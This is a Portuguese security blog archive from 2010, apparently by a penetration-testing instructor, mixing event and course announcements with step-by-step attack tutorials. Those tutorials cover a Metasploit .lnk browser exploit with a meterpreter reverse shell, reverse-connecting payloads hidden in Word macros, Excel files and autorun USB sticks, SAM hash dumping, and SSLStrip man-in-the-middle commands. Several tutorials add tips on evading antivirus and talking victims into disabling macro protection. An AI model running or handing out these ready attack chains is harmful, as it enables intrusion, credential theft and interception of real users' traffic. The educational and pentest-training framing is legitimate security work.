21 de dezembro de 2010

Escrima

Eskrima , Escrima ou Escryma se refere a uma categoria de Artes Marciais Filipinas (do inglês Filipino Martial Arts - FMA) que priorizam o treino de luta com armas (principalmente bastão, espada e Faca), e também ensinam habilidades de luta à mão vazia, que são essenciais num combate em que seu oponente esteja armado e você desarmado. Outros termos também comumente utilizados para se referir a esta arte são Kali e Arnis de Mano (chicote com as mãos). Eskrima e Arnis estão entre os muitos termos utilizados nas Filipinas para se referir a esta arte.
Origem: Wikipedia

Sei que esse post é um pouco fora de contexto, mas decidi postá-lo mesmo assim. Essa é uma faceta do profissional de segurança que poucos conhecem, que além de tudo ainda é psicoterapeuta e instrutor de artes marciais ;-)

O trecho acima, retirado da wikipedia, é sobre uma das artes marciais da qual sou instrutor: Escrima, ou Eskrima. Além dessa, ainda sou instrutor de WingTsun, como alguns que me conhecem já sabem.

Hoje, portanto, gostaria de postar algumas fotos de um treino que ministrei no RJ, na Quinta da Boa Vista, de Escrima. Seguem abaixo:

3 de dezembro de 2010

Atacando máquinas Windows (XP, Vista, 7, 2003, 2008) através de um webserver falso

Essa exploração baseia-se na falha existente no Windows, em todas as suas versões, no que diz respeito a manipulação de arquivos .lnk. Essa falha, assim como seu exploit tornaram-se públicos no final de na segunda quinzena de julho/2010.


O mais interessante, é que após tornar pública a falha, e consequentem ente o exploit, que surgiu um dia depois da divulgação da falha por parte da Microsoft, a correção da mesma só foi sair quase um mês depois, deixando milhões de máquinas vulneráveis a esse simples, mas devastador ataque.


Vamos lá...


# ./msfconsole


O primeiro comando seleciona o exploit que será usado:


> use exploit/windows/browser/ms10_046_shortcut_icon_dllloader


Caso queiramos mais informações sobre o exploit e sua respectiva falha, podemos digitar o seguinte comando:


> info


Esse comando exibirá, além da informações sobre a falha, as opções que precisamos configurar para o correto funcionamento do exploit. As opções obrigatórias são: SRVHOST, SRVPORT


Vamos configurá-las:


> set SRVHOST 192.168.0.83


Esse último comando, permitirá configurarmos o IP no qual o servidor web falso será montado para que a vítima acesso-o. No comando abaixo, vamos configurar a porta na qual o servidor ficará escutando, à espera de uma conexão:


> set SRVPORT 80


Havendo configurado a parte básica do exploit, precisamos configurar o que ele fará após explorar a falha no navegador da vítima, isso é, o payload:


> set PAYLOAD windows/meterpreter/reverse_tcp

> set LHOST 192.168.0.83

> set LPORT 4444


Tudo configurado, funcionando bem, sem nenhum erro, simplesmente lançamos o exploit e aguardamos a vítima conectar em nosso servidor falso:


> exploit


Para conseguirmos que a vítima conecte, nada como um bom e velho ataque de engenharia social :-)


De forma mais ilustrativa, vocês podem assistir ao vídeo que gravei para minha apresentação da palestra sobre "Ferramentas Livres para Teste de Invasão", que ocorrei na 11ª edição do FISL, em julho/2010. O mais legal é que apresentei a falha no dia seguinte em que a mesma foi publicada, por isso verão que no vídeo o nome do exploit ainda não possui o nome final, que o que está no texto, por isso, sigam o que está no artigo:


6 de novembro de 2010

Metasploit com Microsoft Word

Para demonstrar as falhas de segurança dos usuários, um teste de conceito simples e eficaz que pode ser feito é incluir um payload do Metasploit dentro de um arquivo do Word.

Em três passos simples, vamos criar um payload no Metasploit como uma macro do Visual Basic, em seguida, vamos inserir a macro em um arquivo do Word e, finalmente, vai vamos deixar a máquina escutando à espera de uma conexão reversa que deve ser feita quando a vítima abrir o arquivo.



1. Gerar o Payload

Selecionamos como payload uma conexão reversa de VNC, que se conecta ao IP "10.10.10.10" na porta "443"

./msfpayload windows/vncinject/reverse_tcp LHOST=10.10.10.10 LPORT=443 V > payload.bas

Não é necessário que a vítima tenha instalado um servidor VNC, mas sim que o atacante tenha o vncviewer instalado. Se não, basta executar no terminal o comando:

#apt-get install vncviewer


2. Embutimos a macro

Temos que separar o arquivo payload.bas em duas partes que estão claramente divididos dentro do mesmo, de um lado o código de macro e do outro os dados do payload.

Primeiro, vá em "Ferramentas -> Macro -> Editor do Visual Basic". Em seguida vá em "Arquivo -> Importar Arquivo" e ali selecionamos o arquivo que dividimos previamente com o código da macro.


Linux: Metasploit com Microsoft Word

Se quisermos verificar se o código da macro foi carregado com êxito, vamos ao menu do lado esquerdo, e na pasta "Módulos" deve encontrar o "Módulo 1" com o nosso código. Ao dar duplo clique em "Módulo 1" o código aparece carregado.

Feche o "Editor do Visual Basic", e no final do conteúdo do Word, copiamos os dados do payload.


3. Ouvindo a Conexão Reversa

No final, deixamos nossa máquina ouvindo à espera da conexão reversa via VNC, que será criada quando a vítima abrir o arquivo do Word.

./msfcli exploit/multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=10.10.10.10 LPORT=443 E

Se não queremos o Shell de boas vindas do Metasploit, que é um terminal DOS de cor azul, devemos agregar o seguinte parâmetro ao comando anterior:


"DisableCourtesyShell=True"

Para finalizar, em u ataque real ninguém vai utilizar o VNC como payload, porque obviamente a vítima perceberá que tomamos o controle de seu PC, mas por outro lado, é muito efetivo para realizar demonstrações práticas para a gerência de uma empresa ;-)

24 de outubro de 2010

1 - O Ataque

Em 4 passos simples iremos construir um pendrive USB U3, de modo que quando conectado a um PC, realize uma conexão reversa com o Meterpreter.

A idéia é gerar, com o Metasploit, um arquivo executável com um payload para gerar uma conexão reversa ao conectar o pendrive na USB do PC. Para gravar o payload dentro do U3, usaremos o programa Universal Customizer.

1. Gerar o payload com o Metasploit

Neste caso vamos criar um executável com uma conexão reversa do Meterpreter:

./msfpayload windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=443 X > malware.exe


Obviamente que podemos utilizar qualquer payload, como também utilizar encoders para tornar mais difícil sua detecção por antivírus.

2. Criar nossa ISO

Uma vez que tenhamos baixado e descompactado o Universal Customizer (http://www.hak5.org/packages/files/Universal_Customizer.zip), copiamos o arquivo malware.exe para o diretório "U3CUSTOM" e criamos o arquivo "autorun.inf" com o seguinte conteúdo:


[AutoRun]

open=malware.exe


Após isso, executamos o "ISOCreate.cmd" e dentro do diretório "BIN" será criada nossa ISO com o nome "U3CUSTOM.ISO". Se não criarmos nossa ISO , o Universal Customizer utilizará a ISO "U3CUSTOM.ISO" que já vem dentro do pacote, com uma versão feita por Hacksaw.

3. Gravar a ISO

Iniciamos o Universal Customizer e vamos seguindo os passo:


Linux: Ataque USB U3 com Metasploit

Ao finalizar, retiramos o pendrive, e quando voltarmos a conectá-lo já teremos nosso payload sendo executado.

4. Aguardando a conexão reversa

Para finalizar, devemos deixar o meterpreter "escutando" à espera da conexão reversa que será feita pelo payload gravado no pendrive:


./msfconsole

use exploit/multi/handler

set PAYLAOD windows/meterpreter/reverse_tcp

set LHOST 1.1.1.1

set LPORT 443

set ExitOnSession false

exploit -j


Isso é tudo, que serve inclusive como uma prova de conceito para comprovar a segurança da máquina de um usuário.


LINKS RELACIONADOS:

http://www.infoseczen.com/?p=127

http://www.slideshare.net/seguinfo/sallis-usb-hacks

http://www.hak5.org/packages/files/Universal_Customizer.zip

20 de outubro de 2010

Série "Crime na Rede", na rede Record

Caros,

Dia 18/10 começou uma série chamada Crime na Rede na Record, e no segundo dia foi exibida uma reportagem onde falo rapidamente e uma de minhas aulas foi filmada, onde inclusive um aluno comenta sobre um caso de invasão no site de sua empresa.

Para quem quiser conferir, segue o link:

http://noticias.r7.com/tecnologia-e-ciencia/noticias/veja-como-as-vitimas-se-defendem-dos-hackers-20101019.html

[ ]'s

11 de outubro de 2010

XLSInjector - Saiba como injetar um Shell Meterpreter em arquivos Excel

Nesse artigo entenderemos como é possível utilizar a ferramenta XLSInjector, juntamente com o Metasploit, para criar arquivos do Excel que carregam shellcode e conseguirmos uma conexão remota com a máquina alvo.

1 - Preparação

Não é um segredo para ninguém que a suíte de programas para escritório mais utilizada no mundo é o Microsoft Office, possuindo a maior fatia do mercado em sistemas operacionais Windows e Mac. Desta suíte, os programas mais utilizados são Microsoft Word, Microsoft Excel e Microsoft Power Point, que quase sempre estão instalados na maioria dos computadores.

Nesse artigo vamos tratar do XLSInjector, uma ferramenta criada por Keith Lee que permite injetar em um arquivo do Microsoft Excel um console meterpreter (executado totalmente na memória ram, sem criar nenhum processo adicional), permitindo-nos acessar o mesmo remotamente a partir da porta 4444 e ganhar controle total da máquina.

Para que o XLSInjector funcione adequadamente, precisamos do seguinte ambiente configurado:

Depois de configurar todos os elementos necessários para o correto funcionamento do XLSInjector, passamos para a execução, que é bem simples:


# perl xlsinjector.pl -i ArquivoDoExcel.xls -o ArquivoComShellDoExcel.xls


Mas nem tudo é tão simples com essa ferramenta, pois o XLSInjector NÃO consegue burlar os filtros de scripts existentes na suíte Microsoft e, justo por isso, é necessário convencer, por meio de engenharia social, ou qualquer outra técnica, que o usuário desabilite as configurações de segurança de macros e que "confie" no arquivo, o que é um pouco complicado, mas que certamente com um pouco de persuasão é possível conseguir.

Supondo que já realizou as configurações necessárias para o correto funcionamento do XLSInjector, vamos acessar remotamente nossa shell meterpreter através do console do Metasploit Framework.

Iniciamos o console do Metasploit:

# ./msfconsole

Uma vez que o console MSF esteja aberto, carregamos o payload do meterpreter:

set payload windows/meterpreter/bind_tcp

Configuramos o payload corretamente, com seus parâmetros:

set RHOST ip_da_vitima
set RPOT 4444

E executamos:

exploit

Com esses passos simples temos à nossa disposição uma shell meterpreter na máquina remota. Temos que ter em mente que uma shell meterpreter é diferente de uma shell de um sistema operacional, e que possui seu próprio conjunto de comando, que pode ser listado simplesmente digitando na shell "?" e pressionando enter. Com esse comando, terá em sua tela algo parecido com isso:

Core Commands

Command Description
? Help menu
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel


Stdapi: File system Commands

Command Description
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rmdir Remove directory
upload Upload a file or directory


Stdapi: Networking Commands

Command Description
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table

Stdapi: System Commands

Command Description
execute Execute a command
getpid Get the current process identifier
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shutdown Shuts down the remote computer
sysinfo Gets information about the remote system, such as OS


Stdapi: User interface Commands

Command Description
idletime Returns the number of seconds the remote user has been idle
uictl Control some of the user interface components


Priv: Password database Commands

Command Description
hashdump Dumps the contents of the SAM database


Priv: Timestomp Commands

Command Description
timestomp Manipulate file MACE attributes




2 - Finalização

É sempre bom ressaltar a potência e a capacidade do meterpreter para injetar dll's, fazer upload de arquivos, executar scripts e etc. Recomendo que dê uma lida no documento Metasploit's Meterpreter para saber mais sobre os comandos do meterpreter.

Recomendo também utilizar o comando "migrate" tão logo possa, ao conseguir o shell com a máquina alvo, para evitar que assim que fecharem o arquivo XLS, sua conexão também seja encerrada. Outro comando recomendado é o hashdump, que retorna o conteúdo do arquivo SAM da máquina vítima, para que posteriormente se possa obter a senha dos usuários e administradores, utilizando ferramentas como l0phtcrack ou cain&abel.

Por último, deixo abaixo o vídeo do autor da ferramenta XLSInjector, onde ensina o seu funcionamento:

Entrevista no Correio Brasiliense

Caros,

Para quem tiver interesse, participei de uma entrevista no Jornal Correio Brasiliense, cujo título é "Problemas na segurança na web geram dor de cabeça para usuários e empresas".

Outros profissionais, como Ulisses de Castro, participaram de entrevista :-)

Vale a pena dar uma conferida!

[ ]'s

5 de outubro de 2010

Pesquisa para primeiro videocast

Caros,

Acabei de postar no lado direito da página, uma enquete para que votem, definindo o assunto que será abordado em nosso primeiro videocast, lançado (espero) ainda em outubro.

As letras das opções não estão muito bem visíveis, por conta da cor de fundo do layout, mas basta selecionar as opções com o mouse que é possível ler cada uma delas e escolher uma.

Espero a ajuda de vocês, para definirmos em conjunto o assunto que vai inaugurar nosso primeiro videocast sobre segurança da informação.

Abraços!

Malware Network

24 de setembro de 2010

Cursos presenciais: Teste de Invasão & Forense Digital

Pessoal, para quem se interessa em teste de invasão e gostaria de fazer um curso do tipo, ministrarei na semana que vem (27/09 à 01/10) o curso de Teste de Invasão em Redes Corporativas na 4Linux em SP.

E para quem achar muito em cima ou não conseguir vaga (acho que a turma já está lotada mesmo), haverá uma outra oportunidade de um curso presencial de 06 à 10/12, também na 4Linux em SP.

A ementa do curso é a mesma que está no link:
http://hackproofing.blogspot.com/2010/07/curso-pen-test-teste-de-invasao-em.html

E outra novidade: de 29/11 à 03/12, ministrarei o curso de forense digital na 4Linux, porém esssa turma já está lotada há meses :-)

Mas quem tiver interesse no curso de forense, vamos abrir uma outra turma, excepcionalmente, de 13 à 17/12 na 4Linux.

O conteúdo do curso de forense digital é o seguinte:

Conceitos Iniciais
O que é forense
Forense digital
Forense Computacional
Crime Cibernético
Papel do Investigador


Laboratório Forense
Organização do laboratório
Equipamento
Criação de toolkits


Investigação Forense
Investigação forense computacional
Passos da Investigação
Coleta de dados
O que fazer inicialmente?
Voláteis
Não-voláteis
Análise de memória física
Duplicação de dados
Recuperação de arquivos e partições deletadas
Processo de boot do Linux, Windows e Macintosh


Ataques por meios computacionais
Servidores e Clientes de e-mails
Investigando os crimes e as violações de e-mails
Como lidar com o spam
Investigando ataques de DoS
Investigando ataques de Web


Resposta à Incidentes
Criação de de CSIRT's
Avaliação de risco
Escrita de relatórios forenses
Aspectos legais

Ferramentas Livres
Distribuições
Ferramentas


Forense em máquinas virtuais
Virtualização
Cloud Computing


Forense em Linux
Boot no Linux
Sistema de arquivos
Ext2 e Ext3
Estudo de caso: Sistema Linux comprometido


Forense em Windows
Boot no Windows
Sistema de arquivos
FAT e NTFS
Estudo de caso: Honeypot Windows comprometido


Anti-Forense
Conceito
Métodos
Criptografia
Rootkits
Ferramentas


Engenharia Reversa e Análise Malware
Engenharia Reversa Básica
HT Editor e Evans Debugger
Descoberta e coleta de malware
Montagem de lab. para análise
Análise de arquivo suspeitos
Estudo de caso: análise forense de malwares do tipo banking
Estudo de caso: análise forense de binário capturado (com engenharia reversa)


Imagens digitais e esteganografia
Categorias de esteganografia
Ferramentas
Detecção de esteganografia
Ocultando informações em pacotes de rede
Quebra de senhas


Investigando tráfego de rede
Modelo OSI
Endereçamento e NAT
Ferramentas de coleta de informações de rede
Snort
Roteadores
Investigando os roteadores
Análise de tráfego de redes
Busca por evidências
Estudo de caso: análise de ataques à browsers
Estudo de caso: análise de tráfego de rede com strings de ataque


Forense em VoIP
Protocolos
Tráfego de rede VoIP
Estudo de caso: análise forense de tráfego VOIP


Mídias digitais
Smartcards
Pendrives
CD-Rom
DVD
Blue-Ray
RAID


Dispositivos Móveis
PDAs
Ipods
Smartphones
Forense em Iphone
PS3
Estudo de caso: análise forense de memória de PS3

Simulado Forense e Estudos de caso

O simulado é um conjunto de perguntas que podem estar na prova de certificação CHFI e GCFA.

Os estudos de casos são imagens que serão analisadas pelos alunos. Caso reais ou próximos dos reais, onde o aluno terá uma situação, alguns dados e perguntas para responder. Todos são baseados em desafios desenvolvidos por profissionais internacionais reconhecidos na área de forense digital.



Quem tiver interesse em qualquer um dos cursos, pode conseguir informações pelo (11) 2125-4747 ou pelo site www.4linux.com.br.

Abraço!

14 de setembro de 2010

Novidades no blog

Caros, em breve teremos algumas novidades no blog, que surgiram a partir de projetos pessoais na área de segurança da informação.

A idéia é, a partir desse blog, transformá-lo em fonte de vídeos sobre segurança da informação. Inicialmente serão vídeos semanais, com duração de 5 minutos apenas, onde falarei sobre um tema específico relacionado à área.

Espero que com isso, sejamos pioneiros nessa ação, pois até hoje só encontrei blogs que fazem isso lá fora.

Penso que meus dois únicos problemas para realizar essa idéia são:

1º - falta de tempo (mas contornarei isso mesmo que tenha que fazer os vídeos de madrugada hehehehe);

2º - vou ter que dar meu jeito pra aprender a editar vídeos no Linux :-) (mas nada é impossível, afinal, se consegui aprender grego na faculdade através de uma apostila em alemão, consigo aprender qualquer coisa - espero que essa afirmativa tbm se aplique a aprender a dirigir...rs).

Bem, é isso. Espero em breve retornar já com nosso primeiro vídeo, cujo tema será "segurança da informação no Brasil, qual nossa realidade", baseado em um artigo meu, escrito há tempos atrás.

Abraço à todos!

2 de setembro de 2010

Apresentação na LinuxCon Brazil 2010, no dia 31/08 - Analysis of vulnerabilities in web applications

View more presentations from luizvieira.

Gostei muito da LinuxCon pelo conteúdo das apresentações e qualidade dos palestrantes.

Infelizmente não consegui tirar uma foto ao lado do Linus, mas só o fato de ter conseguido falar com ele e sentado ao seu lado no ônibus que nos levou ao restaurante para o janter dos palestrantes, já valeu qualquer foto :-)

De qualquer forma, consegui sair como papagaio de pirata em duas fotos com ele, quando o fotografaram com os sócios da 4Linux, e ele usando uma camiseta de pingüim presenteada por eles huahauahuahuahuah.

Assim que consegui colocar a mão nas fotos, vou publicá-las aqui.

[ ]'s

13 de agosto de 2010

BotecoNet Download: Auditoria em Sistemas Linux

View more presentations from luizvieira.
Para quem quer o arquivo de áudio do BotecoNet Download que rolou ontem (12/08), basta fazer o download do zip no meu disco do 4shared, clicando aqui.

11 de agosto de 2010

Amanhã tem BotecoNet Download em "Auditoria em Sistemas Linux" na 4Linux

A 4Linux promoverá amanhã, 12 de agosto de 2010 às 20h00 (horário de Brasília), um bate papo pela internet com Luiz Vieira, especialista em Segurança, sobre "Auditoria em Sistemas Linux".
Serão 10 minutos para a apresentação sobre o tema e 30 minutos para responder às perguntas dos internautas, que poderão ser feitas ao vivo ou enviadas para o e-mail botecoNet@4linux.com.br
As perguntas podem ser sobre conceitos técnicos até dicas para resolução de problemas, que muitas vezes não são encontradas em livros.

Para participar, basta se inscrever gratuitamente através do link: http://www.4linux.com.br/boteconet-download-seguranca.html

Sobre o palestrante: Luiz Vieira, 15 anos de atuação na área de TI, tendo, ao longo de sua trajetória profissional, tornado-se Especialista em Segurança da Informação e Auditoria de sistemas. Capacitado e com experiência em auditoria, teste de invasão em sistemas, redes e aplicações WEB. Desenvolve projetos de redes com topologias seguras, proteção de perímetro, hardening, implementação de sistemas de monitoramento e detecção de invasão.
Resenhista de vários livros sobre Segurança da Informação para editoras especializadas (Brasport, Ciência Moderna), articulista dos sites Imasters, VivaOLinux, SegurançaLinux e Revista Espírito Livre.

Foi palestrante durante a 11ª edição do Fisl (Fórum Internacional do Software livre) e já está confirmado para apresentar o tutorial "Analysis of Vulnerabilities in Web Applications", durante dois dias na LinuxCon Brasil2010.

Saiba mais sobre o BotecoNet 4Linux e participe das próximas edições: http://www.4linux.com.br/boteco-4linux

18 de julho de 2010

Palestras Agendadas - Jul. Ago. e Set./2010

Pessoal, já que estamos perto do FISL, gostaria de aproveitar e deixar aqui no blog os títulos das palestras e eventos nos quais irei palestrar em julho, agosto e setembro. Sabendo que muitos que seguem esse blog são interessados tanto em segurança quanto em software livre, aviso que as palestras serão sempre sobre segurança, e em eventos de software livre, matando dois coelhos com um só golpe ;-)

Seguem abaixo os eventos e, quando possível, as datas e horários das palestras, além dos títulos das mesmas:

FISL 11 - Jul/2010

Auditoria em sistemas Linux - 21/07

Ferramentas Livres para Testes de Invasão - 22/07

Trusted Computing - 24/07




LinuxCon - Ago/2010

Auditoria em sistemas Linux - 31/08 ou 01/09

Criptografia on-the-fly: segurança em tempo real - 31/08 ou 01/09

Análise de Vulnerabilidades em Aplicações WEB (tutorial) - 31/08 ou 01/09




VOLDay II - Set/2010


Auditoria em sistemas Linux (ainda não está fechado se o assunto será esse mesmo, mas a presença é certa...rs) - 07/09


Aos amigo que puderem ir prestigiar o evento, e ainda assistir as palestras, ficarei muito feliz, até porque sempre é bom conhecer gente nova que tem os mesmos interesses, fazer um networking e ainda rever amigos antigos.

E para quem assistiu, e também para quem não estava sabendo, no dia 28/06 ocorreu o BotecoNet online na 4Linux, onde apresentei uma palestra, aberta para perguntas, sobre Análise de Vulnerabilidades WEB; inclusive, disponibilizamos os slides e o áudio do evento para download. É só CLICAR AQUI.

Por conta desse evento, estamos agendando, ainda em agosto ou setembro, um evento chamado BotecoNet Download sobre o mesmo assunto, Análise de Vulnerabilidades WEB, onde não ocorrerá uma palestra, mas sim uma sessão online de tira-dúvidas, com perguntas & respostas, sobre o tema, para quem quiser participar.

Quando tiver maiores detalhes, como data e horário, aviso à todos.

Forte abraço e H4ppy H4ck1ng!

6 de julho de 2010

Curso Pen-Test: Teste de Invasão em redes corporativas

Pessoal, minha próxima turma do curso de Teste de Invasão, que se inicia no dia 26/08 na 4Linux em SP, já está lotada há algumas semanas. No entanto, temos outras turmas abertas do mesmo curso, uma que se inicia no dia 02/08 e vai até dia 13/08, com o instrutor Caio Cândido (gente boa e que entende do assunto também) e à distância que vai do dia 09/08 à 15/09, com aulas ao vivo pela internet de 21h às 23h (de seg. à qui.).

O conteúdo do curso ao vivo e à distância é o mesmo. Aproveito para colocar o conteúdo logo abaixo:

Introdução a segurança da Informação
- O que é segurança da informação
- Padrões e Normas
- Princípios básicos
- Ameaças e Ataques
- Mecanismos de segurança
- Serviços de segurança
- Certificações
- War Games

Introdução ao Teste de Invasão e Ética Hacker
- Tipos de Pen-Test
- Anatomia dos Ataques
- Estágios do Pen-Test
- Server Side Attacks
- Client Side Attacks
- Metodologias existentes
- Aspectos legais de um Teste de Invasão

Escrita de Relatórios
- Modelo de Relatório

Arte da busca: Google Hacking
- O que é Google Hacking
- Google Cache
- Operadores avançados
- Levantamento de informações
- Encontrando Web Cam
- Google Hacking Database
- Contramedidas

Levantamento de informações e relacionamentos
- Footprint
- Buscando relacionamentos
- Registro de Domínios
- Rastreamento de e-mails
- Fingerprint (ativo e passivo)
- Capturando banner de aplicações (de forma passiva)
- Contramedidas

Entendendo a Engenharia Social e o No-Tech Hacking
- Definindo engenharia social
- Engenharia social baseada em pessoas
- Engenharia social baseada em computadores
- Insiders Attacks
- Roubo de Identidade
- Phishing Scam
- URL Obfuscation
- Dumpster Diving
- No Tech Hacking
- Engenharia social reversa
- Contramedidas

Varreduras ativas, passivas e furtivas de rede
- Ferramentas NMAP e HPING
- Varreduras ICMP
- Varreduras TCP
- Varreduras UDP
- Varreduras furtivas
- Varredura com IP Spoofing
- Tunelamento
- Anonymizers
- Contramedidas

Enumeração de informações e serviços
- Técnicas de enumeração
- Capturando banner de aplicações (de forma ativa)
- Ferramentas
- Mapeando graficamente a rede
- Contramedidas

Testando o Sistema
- Negação de serviço (DoS)
- Negação de serviço distribuído (DdoS)
- Técnicas utilizadas
- Sequestro de Sessão
- Contramedidas

Trojan / Backdoor / Rootkit / Worms
- Trojan Horse
- Backdoor
- Worms
- Rootkits
- Netcat e suas funções
- Keylogger
- Contramedidas

Ignorando Proteções
- Ignorando IDS
- Ignorando Firewall
- Ignorando Honeypots
- Técnicas anti-forense

Técnicas de Força Bruta e como definir boas políticas de senha
- Técnicas para criação de dicionários
- Brute Force local
- John
- Brute Force em serviços remotos
- THC-Hydra
- BruteSSH2
- Rainbow Tables
- Recomendações para políticas de senha

Vulnerabilidades em aplicações web
- PHP Injection
- Sql Injection
- Cross Site Scripting (XSS)
- CSRF
- Insecure Direct Object Reference
- Falha de Autenticação e gerenciamento de sessão
- Insecure Cryptographic Storage
- Failure to Restrict URL Access
- Ferramentas
- WebGoat
- Obtendo o shell

Elevação de Privilégios Locais
- Mapeamento do sistema
- Escolha do alvo
- Criação de ferramenta
- Conseguir privilégios administrativos

Técnicas de Sniffing
- Técnicas utilizadas por insiders
- Protocolos vulneráveis
- Equipamentos vulneráveis
- Sniffing Passivo
- Sniffing Ativo
- DNS Spoof e Arp Poisoning
- MAC Flooding
- Uso de ferramentas
- TCPDump
- Wireshark
- Contramedidas

Ataques a Servidores WEB
- Tipos de ataques
- Buscando vulnerabilidades
- Nikto
- On-line scanning

Ataques a Redes Wireless
- Introdução
- War Driving
- WifiZoo
- WEP Crack
- Ignorando filtros via MAC Address
- WPA Bruteforce
- Rainbow Tables
- Rogue Access Point
- Wifi Phishing

Exploits
- Memória
- Buffer Overflows
- Shellcode

Metasploit
- Metasploit Framework
- Invasão Simples
- Meterpreter
- Payload com Meterpreter
- Keylogging com Meterpreter
- Sniffing com Meterpreter
- Explorando falhas de programas
- Comprometendo uma rede interna externamente
- Conseguindo Shell
- Conseguindo Shell Reverso

Apagando Rastros
- Necessidade
- Técnicas
- Ferramentas

Desafios: Testes de Invasão
- Avaliação Final:
- Explorar vulnerabilidades de uma aplicação web
- Capture The Flag

Durante todo o curso, o aluno age como o contratado de uma empresa para realizar um teste de invasão real, em servidores com aplicações reais e utilizando recursos e sistemas operacionais diversos e bem atualizados.
O objetivo do curso é proporcionar uma vivência mais próxima possível da realidade de um pen test, buscando dar as ferramentas e os conceitos necessários para que o aluno desenvolva sua técnica. Afinal, receita de bolo só serve para cozinhar =)

4 de julho de 2010

4Linux oferece solução em Análise de Vulnerabilidades em Aplicações WEB

Uma das mais novas soluções na área de segurança, oferecida pela 4Linux, é a “Auditoria e Análise de Vulnerabilidades em Aplicações WEB”.

Esse novo serviço de consultoria oferece a solução para brechas e falhas de segurança da aplicação WEB do cliente, que necessita de segurança em seus processos, aumentando a confiança de seus clientes na proteção de dados de sua empresa.

“Para realizar os testes e análise de código, trabalharemos com metodologias reconhecidas internacionalmente como a OWASP - The Open Web Application Security Project.” comenta Luiz Vieira, responsável pela área. Tais metodologias permitem a realização de uma auditoria atualizada, de acordo com as novas vulnerabilidades descobertas e as mais exploradas à cada ano, tendo como base o Top 10 OWASP.

Algumas das vulnerabilidades mais exploradas atualmente, as quais todas as aplicações WEB estão expostas ao risco, são: XSS, CSRF, PHP Injection, SQL Injection, Insecure Storage e etc.

Os clientes contratantes da solução, conseguem retorno diretos e indiretos, após a realização de todo o processo de auditoria e análise, incluindo por exemplo, um relatório de todo o processo e capacitação da equipe.

Clique aqui e conheça mais sobre o serviço de Auditoria e Análise de Vulnerabilidades em Aplicações Web oferecido pela 4Linux.

23 de junho de 2010

SSLStrip - Capturando tráfego SSL

Desde que Moxie Moulinsart exibiu seu SSLStrip na Blackhat, o MODO PARANÓICO de muitas pessoas começou a dar o alarme, e não é pra menos, já que com essa ferramenta qualquer pessoa pode capturar seu tráfego SSL sem problemas.

O funcionamento do SSLStrip é simples, substituindo todas as requisições "https://" de uma página por "http://", e realiza um MITM (Man-In-The-Middle) entre o servidor e o cliente. A ideia é que a vítima e o atacante se comuniquem através de HTTP, enquanto o atacante e o servidor se comunicam em HTTPS, com o certificado do servidor. Portanto, o atacante é capaz de ver todo o tráfego da vítima em texto plano.

Abaixo, segue um vídeo onde podemos ver o funcionamento dessa ferramenta:



Resumidamente, os passos seriam:

Configurar o IP Forwarding:

# echo 1 > /proc/sys/net/ipv4/ip_forward

Realizar um ataque ARP MITM entre as 2 máquinas:

# arpspoof -i eth0 -t HOST_ALVO

Redirecionar o tráfego com iptables:

# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

Iniciar o SSLStrip, definindo um arquivo onde armazenará os dados capturados:

# python sslstrip.py -w arquivo

Espero que achem interessante!

Mais informações na página oficial do SSLStrip: http://www.thoughtcrime.org/software/sslstrip/

21 de junho de 2010

Palestra aprovada no FISL 11 - 2010

Pessoal, tenho o prazer de dar a notícias de que estarei no FISL esse ano, palestrando.
A palestra será sobre Trusted Computing e vocês podem conhecer um pouco mais sobre o assunto através do resumo e a proposta enviada ao FISL, abaixo:


Resumo:

Trusted Computing é uma tecnologia de segurança recente e emergente que objetiva elevar o nível de segurança da próxima geração de plataformas computacionais. A apresentação será de um paradigma generalista baseado nos padrões especificados pelo Trusted Computing Group (TCG).


Proposta:

Trusted Computing introduz muitos componentes novos na arquitetura computacional e baseia-se principalmente no Trusted Platform Module (TPM), uma plataforma segura que provê capacidades de criptografia e armazenamento seguro. Utilizando o TPM, os softwares executados na Trusted Platform podem ser mensurados para comprovar sua integridade e robustez através da certificação de que a execução do software forma uma cadeia de confiança e define inequivocamente o estado da plataforma. Muitos componentes da Trusted Computing estão disponíveis para a comunidade de software livre oferecendo a possibilidade de diminuirmos cada vez mais as ameaças à segurança que surgem a cada dia. Além disso, por ser uma tecnologia ainda em desenvolvimento, muitas oportunidades para desenvolver sistemas confiáveis e acrescentar coisas à esse paradigma existem.


Espero encontrá-los lá, senhores!
[ ]'s

14 de junho de 2010

Evento BotecoNet, sobre vulnerabilidades WEB

Pessoal, dia 24/06 participarei do BotecoNet 4Linux, apresentando o tema "Análise de vulnerabilidades em aplicações WEB", que será transmitido via WEB.
É possível assistir e fazer perguntas partir de uma plataforma que permite a interação através de vídeos e áudio.
As vagas são limitadas, mesmo para os participantes on-line, portanto inscrevam-se!
Para quem tiver interesse no assunto e queira inscrever-se, acesse o seguinte link:
http://www.4linux.com.br/node/50498

Espero que participem e gostem!

30 de maio de 2010

Curso de desenvolvimento seguro em Python para WEB

O Google acaba de lançar um novo curso para o desenvolvimento de aplicações web. Com esse curso, os programadores aprenderão a evitar erros comuns de segurança que surgem na maioria das aplicações web e que podem chegar a se tornar vulnerabilidades em seus site.

O curso, que é parte do projeto Goole Code University, se baseia no conceito de aplicações do tipo Twitter, denominada Jarlsberg, um programa que o Google liberou para esta finalidade. Conhecido como Web Application Exploits and Defenses, a partir da qual temos a oportunidade de visualizar o funcionamento interno da uma aplicação insegura, analisar as vulnerabilidades e aprender sobre os erros de programação que geraram essas falhas.

Além de aprender a desenvolver, também teremos uma série de desafios necessários para que os estudantes se esforcem e identifiquem vulnerabilidades específicas no código do Jarlsberg. Depois que os estudantes aprendem os fundamentos de uma vulnerabilidade, como CSRF, XSS, é solicitado que encontrem uma forma de utilizar esta falha para realizar uma ação maliciosa especídifca na aplicação, como trocar alguns detalhes na conta de registros dos usuários sem que eles saibam.

